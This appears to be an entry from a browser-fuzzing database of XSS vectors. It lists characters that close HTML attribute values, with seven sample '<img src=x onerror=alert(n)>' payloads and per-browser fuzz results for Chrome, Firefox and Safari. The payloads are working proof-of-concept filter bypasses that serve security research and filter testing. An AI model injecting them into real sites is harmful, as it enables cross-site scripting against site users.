Characters that close or encapsulate HTML attribute values

Chrome logo 7
Firefox logo 7
Safari logo 7

Characters that can be used to close or encapsulate HTML attribute values.

Created by: ola456

Created on: Tuesday, November 5, 2024 at 11:39:43 AM

Updated on: Tuesday, December 10, 2024 at 5:12:34 PM

Vector type: XSS

Vector charset: UTF-8

Template used:
<img src=$[chr]x$[chr]onerror=log($[i])>
Your browser was detected as:
Detecting... Detecting... Detecting... Detecting...

Sample payloads

<img src=	x	onerror=alert(9)>
<img src=
x
onerror=alert(10)>
<img src=xonerror=alert(12)>
<img src=
x
onerror=alert(13)>
<img src= x onerror=alert(32)>
<img src="x"onerror=alert(34)>
<img src='x'onerror=alert(39)>

Fuzz results

Chrome logo
Chrome 130.0.0.0 desktop macOS 10.15.7

Updated

Tue Nov 05 2024
Found 7 results
Loading...
Firefox logo
Firefox 132.0 desktop macOS 10.15

Updated

Tue Nov 05 2024
Found 7 results
Loading...
Safari logo
Safari 17.6 desktop macOS 10.15.7

Updated

Tue Nov 05 2024
Found 7 results
Loading...